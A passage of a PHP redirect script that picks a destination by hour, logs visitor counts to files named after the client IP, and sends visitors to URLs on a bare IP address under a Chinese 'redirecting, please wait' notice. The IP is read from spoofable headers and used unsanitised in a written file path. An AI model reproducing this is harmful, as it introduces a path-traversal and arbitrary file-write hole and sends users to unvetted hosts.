'08:30:00','e'=>'09:29:59','url'=>$data1, ); $row[]=array( 's'=>'10:30:00','e'=>'11:29:59','url'=>$data1, ); $row[]=array( 's'=>'12:30:00','e'=>'13:29:59','url'=>$data1, ); $row[]=array( 's'=>'14:30:00','e'=>'15:29:59','url'=>$data1, ); $row[]=array( 's'=>'16:30:00','e'=>'17:29:59','url'=>$data1, ); $row[]=array( 's'=>'18:30:00','e'=>'19:29:59','url'=>$data1, ); $row[]=array( 's'=>'20:30:00','e'=>'21:29:59','url'=>$data1, ); $row[]=array( 's'=>'09:30:00','e'=>'10:29:59','url'=>$data2, ); $row[]=array( 's'=>'11:30:00','e'=>'12:29:59','url'=>$data2, ); $row[]=array( 's'=>'13:30:00','e'=>'14:29:59','url'=>$data2, ); $row[]=array( 's'=>'15:30:00','e'=>'16:29:59','url'=>$data2, ); $row[]=array( 's'=>'17:30:00','e'=>'18:29:59','url'=>$data2, ); $row[]=array( 's'=>'19:30:00','e'=>'20:29:59','url'=>$data2, ); $row[]=array( 's'=>'21:30:00','e'=>'22:29:59','url'=>$data2, ); $data=date("Y-m-d",time()); $now_time=time(); foreach($row as $key=>$val) { $data_1=$data.' '.$val['s']; $data_2=$data.' '.$val['e']; if($now_time > strtotime($data_1) && $now_time < strtotime($data_2) ){ $url=$val['url']; break; } } if(!$url) { /*echo '随机出现的'; exit();*/ $nums=count($row); $nums=rand(0,($nums-1)); $url=$row[$nums]['url']; } error_reporting(0); function getIP(){ global $ip; if (getenv("HTTP_CLIENT_IP")) $ip = getenv("HTTP_CLIENT_IP"); else if(getenv("HTTP_X_FORWARDED_FOR")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if(getenv("REMOTE_ADDR")) $ip = getenv("REMOTE_ADDR"); else $ip = "Unknow"; return $ip; } $dir_path = "ip"; if(!is_dir($dir_path)){ mkdir($dir_path); } $ip = getIP(); $fpgetNum = fopen("ip/".$ip.'.txt','r+'); $con = fread($fpgetNum,1024); fclose($fpgetNum); $fp = fopen("ip/".$ip.'.txt','w'); if(empty($con)) { $num = 1; $tzjs = tz; }else{ if(intval($con) > 5){ $num = 1; }else{ $num = intval($con)+1; } } fwrite($fp,$num); fclose($fp); $urla[1][1] = "https://47.104.131.189/52008/"; $urla[1][2] = "https://47.104.131.189/52005/"; $urla[1][3] = "https://47.104.131.189/52017/"; $urla[1][4] = "https://47.104.131.189/52010/"; $urla[1][5] = "https://47.104.131.189/52018/"; $urla[2][1] = "https://47.104.131.189/52005/"; $urla[2][2] = "https://47.104.131.189/52008/"; $urla[2][3] = "https://47.104.131.189/52017/"; $urla[2][4] = "https://47.104.131.189/52010/"; $urla[2][5] = "https://47.104.131.189/52018/"; ?> 正在为您跳转至最新区域....请耐心等待...

进入主站